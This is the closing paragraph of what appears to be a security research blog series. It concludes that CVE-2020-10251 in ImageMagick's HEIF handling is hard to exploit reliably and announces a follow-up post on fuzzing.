We set out with the goal of “finding out how exploitable CVE-2020-10251 is”, and I think we have more than met that goal. The answer is, somewhat disappointingly, “not very”. The heap allocation system is simply too complex to predict, meaning all exploits are very volatile. It is not easy to understand such a chaotic system, but fuzzing remains a useful option given certain constraints. However, some of these constraints we have introduced throughout this series are not very practical – we may not know even the rough dimensions of the flag image file, or the environment ImageMagick is running in. Ultimately, this CVE has proven to be an interesting rabbit-hole to dive into, and I suspect this won’t be the last CVE we see from heif interaction. Next time, we will take a look at fuzzing ImageMagick and how we could have stumbled across this vulnerability ourselves.